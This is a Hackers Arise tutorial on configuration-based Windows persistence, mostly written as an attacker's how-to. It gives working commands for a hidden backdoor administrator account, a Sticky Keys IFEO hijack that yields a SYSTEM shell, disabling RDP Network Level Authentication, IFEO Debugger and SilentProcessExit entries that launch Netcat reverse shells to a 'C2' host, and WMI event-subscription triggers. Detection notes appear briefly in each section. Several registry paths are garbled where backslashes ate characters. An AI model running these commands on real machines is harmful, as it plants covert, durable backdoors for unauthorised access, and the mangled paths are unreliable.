Learn advanced Windows persistence through hidden accounts, registry hijacks, IFEO tricks, GFlags abuse, and WMI event subscriptions. These stealthy techniques weaponize system settings to ensure durable backdoors across reboots.

The post Advanced Windows Persistence, Part 1: Remaining Inside the Windows Target first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

Persistence is one of the core objectives of any successful intrusion, ensuring that an attacker can return to a compromised system even after reboots, logouts, or system maintenance. While much attention is often given to executable droppers, services, or scheduled tasks, there exists an entire class of persistence methods that operate purely through configuration changes. These techniques manipulate the operating system’s own settings, registry keys, and management frameworks. Because of this, they are often stealthier, more resilient, and harder to detect with conventional security tools that focus on scanning executables. In this article we will cover several configuration-based persistence strategies on Windows, ranging from user and registry manipulation to more advanced abuses of Image File Execution Options (IFEO), Global Flags with SilentProcessExit, and WMI event subscriptions. Each method shows the tradeoff between durability and detectability, showing how you can weaponize legitimate administrative features to quietly secure long-term access.

Configs

Unlike other persistence methods that rely on executables or scheduled triggers, configuration-based persistence works by altering the system’s own settings. This makes it both subtle and durable: no additional binaries are introduced, nothing new needs to be launched explicitly, and antivirus tools that focus on scanning executables have very little to detect. However, this approach usually requires administrative access to the target machine, since you must modify accounts, registry keys, or remote access settings. It also assumes the system is reachable later, for example via RDP, which is not always the case if it is hidden behind NAT or a firewall.

cmd#> net user hacker p@ssw0rd /add

cmd#> net localgroup administrators /add hacker

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f

The first two commands create a new local user and add it to the privileged group. Then, the registry command hides the “attacker” account from the Windows logon screen, though it remains valid for interactive and remote login. Together, these steps provide a stealthy backdoor user that blends into the system and can be used for later access. 

Next we move to a more aggressive form of configuration backdoor:

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"

cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP‐Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f

By writing a Debugger value for sethc.exe (the Sticky Keys accessibility tool), the attacker replaces its execution with cmd.exe. Pressing Shift five times at the logon screen, instead of opening Sticky Keys, will spawn a command shell running with SYSTEM privileges. In addition, modifying RDP-Tcp with UserAuthentication set to 0 lowers the requirement for Network Level Authentication (NLA), allowing you to establish an RDP connection without the credentials. This pair of changes creates a reliable way to recover access directly from the Windows login screen.

Pros: highly persistent and stealthy since it modifies system settings rather than adding new binaries, and it survives reboots without leaving a typical malware footprint.

Cons: requires administrative privileges and is only effective if the attacker can later connect to the host directly. If the machine sits behind NAT or a restrictive firewall, the persistence mechanism may not be reachable.

Debugger

Instead of altering a program on disk, Windows allows a “debugger” to be attached whenever a specific executable is launched. As a hacker you can abuse this feature by setting a Debugger value for a target process so that Windows starts your command line whenever the user opens that program. The original binary remains intact and launches as usual, but the Debugger command can prepend or append additional behavior. Because this configuration lives in the registry under HKLM, it persists across reboots and does not rely on autorun folders or scheduled triggers.

cmd#> copy calc.exe _calc.exe

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows
c.exe ‐e c:\windows\system32\cmd.exe C2 9001" /f

When the victim starts Calculator, Windows checks IFEO, sees a Debugger set, and runs that command instead of directly running calc.exe. The cmd /C wrapper executes the two chained statements: first _calc.exe (so the user still sees a normal Calculator window), then, after _calc.exe exits, it executes the Netcat line. The single & operator means the second command runs after the first completes, so the reverse shell attempt is deferred until the user closes Calculator. Because the key is under HKLM, creating or modifying it requires administrative privileges. Once set, any user who launches Calculator will trigger the chain.

Pros: persists across reboots while leaving the original application unmodified, and it triggers naturally when a user opens a specific program.

Cons: requires administrative rights to set the HKLM IFEO key and is highly visible to security monitoring because non-developer Debugger values are a known abuse pattern.

IFEO hijacking is elegant because it avoids patching binaries and uses a legitimate Windows feature as the trigger. It is also straightforward to detect and remediate: defenders regularly audit Image File Execution Options for unexpected Debugger entries, and many EDR products alert on their creation. If the targeted program behaves oddly or fails to start under some conditions, the user may notice.

GFLAGS

Windows includes hidden debugging and tracing features that can be abused for persistence. One such feature is the SilentProcessExit mechanism, which allows administrators to configure special actions when a process terminates. By combining this with the GlobalFlag registry setting under Image File Execution Options (IFEO), a hacker can ensure that when a chosen application closes, another process of their choice will be launched. Unlike traditional autorun or scheduled task techniques, this method hides deeper in Windows’ diagnostic infrastructure and is therefore less obvious to casual inspection.

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
otepad.exe" /v GlobalFlag /t REG_DWORD /d 512

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
otepad.exe" /v ReportingMode /t REG_DWORD /d 1

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
otepad.exe" /v MonitorProcess /d "nc ‐e \windows\system32\cmd.exe C2 9001"

The commands provided configure this for Notepad. The first registry modification sets the GlobalFlag value for notepad.exe to 512, which is a flag telling Windows to monitor the process for a “silent process exit.” The next command enables reporting for when Notepad exits. The final one specifies the command to run when that happens. In this configuration, each time a user closes Notepad, the system silently triggers a Netcat reverse shell.

Pros: survives reboots and is not detected by common persistence auditing tools such as Autoruns, since it relies on less-known registry branches rather than Startup, Run keys, or services.

Cons: requires administrative rights to set IFEO and SilentProcessExit values, and defenders who know where to look can discover and remove the entries by auditing the relevant registry paths.

This persistence trick is subtle because it hooks into a diagnostic mechanism rather than mainstream autorun locations. It will not appear in most autorun inspection tools, which makes it attractive to attackers aiming for stealth. However, it is not invisible: defenders aware of SilentProcessExit can query and monitor those registry keys for unexpected values.

WMI

Windows Management Instrumentation (WMI) provides a rich, system-level framework for monitoring and automation that administrators use for telemetry and scheduled actions. Attackers can abuse WMI by creating permanent event subscriptions that live inside the WMI repository and trigger payloads on timers or system events. Because these subscriptions are stored in WMI rather than in obvious autorun registry keys or startup folders, they are stealthier and harder to spot with casual inspection tools, and they persist across reboots until explicitly removed from the repository.

cmd#> wmic /NAMESPACE:"oot\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

cmd#> wmic /NAMESPACE:"oot\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\file.exe",CommandLineTemplate="C:\file.exe"

cmd#> wmic /NAMESPACE:"oot\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

The first command creates an event filter that will produce a periodic trigger without needing an external driver or service. The second command creates a consumer that describes what should run when the filter fires. The third command binds the filter to the consumer so the event actually causes execution. Together these three commands create a durable subscription inside the WMI repository that causes the specified command to run on the chosen interval or condition.

Pros: survives reboots and supports finely controlled triggers (periodic timers, event-based conditions) while hiding persistence inside the WMI repository rather than in widely-scanned autorun locations.

Cons: requires administrative privileges to create permanent subscriptions and leaves artifacts in the WMI repository that can be enumerated and removed by defenders who know to inspect WMI event subscriptions.

WMI event subscriptions are powerful and flexible for long-lived persistence because they blend into the system management layer and are not visible using lightweight autorun checks. This stealth makes them high-value targets for defensive hunting: enumerating subscriptions, collecting the WMI repository, and monitoring for newly created filters, consumers and bindings are effective ways to detect and remediate this technique.

Summary

Configuration-based persistence techniques represent a subtle but formidable way for attackers to maintain access on Windows systems. By creating hidden accounts, hijacking accessibility tools, lowering RDP security requirements, or embedding logic into registry-based debugging features, you can establish backdoors that blend into system behavior rather than standing out as foreign binaries. IFEO hijacking and GFlags/SilentProcessExit mechanisms show how diagnostic infrastructure can be repurposed to launch payloads, while WMI event subscriptions demonstrate the power of system management features to provide long-lived, flexible triggers. The key strengths of these approaches lie in their stealth, durability across reboots, and reliance on trusted system mechanisms. However, they also share limitations: they typically require administrative privileges and leave artifacts that defenders who know where to look can uncover. For security teams, awareness of these less conventional persistence vectors is critical, as standard autorun and scheduled task auditing alone will not expose them.

In Part 2, we will leverage AppInit, LSASS, Winlogon, and Office to establish persistence on Windows.

The post Advanced Windows Persistence, Part 1: Remaining Inside the Windows Target first appeared on Hackers Arise.

Source: HackersArise
Source Link: https://hackers-arise.com/advanced-windows-persistence-part-1-remaining-inside-the-windows-target/